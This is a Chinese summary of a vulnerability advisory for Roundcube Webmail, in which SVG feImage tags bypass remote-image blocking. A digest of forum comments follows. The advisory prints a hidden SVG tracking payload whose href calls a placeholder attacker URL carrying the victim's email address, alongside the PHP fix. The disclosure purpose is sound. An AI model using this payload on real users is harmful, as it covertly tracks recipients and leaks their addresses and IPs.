文章摘要
Roundcube Webmail在1.5.13和1.6.13之前的版本存在漏洞,其HTML过滤器未能正确拦截SVG feImage标签中的远程图片加载,导致攻击者可绕过"阻止远程图片"设置来追踪邮件打开情况。该漏洞已在1.5.13和1.6.13版本中修复。
文章总结
标题: Roundcube Webmail <1.5.13 / <1.6.13 存在SVG feImage远程图像加载漏洞
发布日期: 2026年2月8日
漏洞概述:
Roundcube Webmail的HTML过滤器未将SVG feImage的href属性视为图像源,导致攻击者可绕过远程图像拦截功能,通过嵌入恶意SVG追踪邮件打开行为。
关键信息:
| 字段 | 内容 |
|------|------|
| 受影响版本 | 1.5.13之前版本,1.6.x系列中低于1.6.13的版本 |
| 修复版本 | 1.5.13、1.6.13 |
| 漏洞本质 | 过滤器错误地将<feImage>的href属性识别为普通链接而非图像源,导致远程URL未被拦截 |
技术细节:
1. 过滤机制缺陷
- 当allow_remote设置为禁用时,过滤器本应通过is_image_attribute()函数拦截<img>、<image>和<use>标签的远程资源,但未覆盖<feImage>标签。
- feImage的href属性被错误归类至wash_link()处理流程,导致HTTP/HTTPS外链被放行。
- 攻击原理
攻击者可构造包含以下代码的邮件:
html <svg width="1" height="1" style="position:absolute;left:-9999px;"> <defs> <filter id="t"> <feImage href="攻击者服务器URL?email=受害者地址"/> </filter> </defs> </svg>当用户打开邮件时,浏览器会自动加载远程图像,泄露用户IP和访问时间等信息。
修复方案:
Roundcube在提交26d7677中扩展了is_image_attribute()的匹配规则,新增对feimage标签的检测:
php
|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag))
时间线:
- 2026年1月4日:漏洞报告至官方
- 2026年2月8日:发布修复版本
影响评估:
该漏洞使得"禁用远程图像"的安全设置失效,可能导致用户隐私泄露。建议所有用户立即升级至修复版本。
(注:原文中的技术验证过程、SVG规范说明等非核心细节已作精简,保留关键漏洞描述和修复建议)
评论总结
这篇评论主要围绕电子邮件安全和隐私问题展开讨论,主要观点如下:
- 关于RoundCube邮件客户端的正面评价
- Galanwe称赞其简单易用:"RoundCube is dead simple to setup and use, the UI and search are very fast"(设置使用简单,界面和搜索速度很快)
- stragies提出安全疑问:"if roundcube was the exception...or if soon other webmail clients will need to be patched"(RoundCube是特例还是其他客户端也需要补丁)
- 反追踪邮件的技术方案
- smelendez建议预取图片方案:"prefetch every image...Every email gets flagged as 'opened'"(预取所有图片,让每封邮件都显示"已读")
- jszymborski提到CORS限制:"Too bad CORS doesn't fix this"(可惜CORS无法解决这个问题)
- 邮件附件安全问题
- jonathanlydall分享防范经验:"blocks all emails with either .svg or .htm(l) attachments"(拦截所有含.svg或.htm(l)附件的邮件)
- Avamander指出安全挑战:"SVGs are just the tip of the iceberg...no purpose-built good libraries"(SVG只是冰山一角,缺乏专业净化库)
- 其他相关讨论
- logicallee提及已读回执:"I wouldn't mind allowing...access to a read receipt"(不介意给发件人发送已读回执)
- 1over137质疑漏洞披露时机:"Isn't it usual to give us time to deploy updates before disclosing"(是否应该给更新部署时间再公开细节)
- michaelteter对博客真实性存疑:"this blog has only one post...references to what would have been previous posts"(博客只有一篇文章却提到过往文章)